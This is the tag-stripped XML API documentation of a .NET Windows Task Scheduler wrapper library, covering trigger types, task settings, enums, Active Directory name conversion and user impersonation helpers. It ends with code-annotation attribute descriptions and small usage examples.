Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and 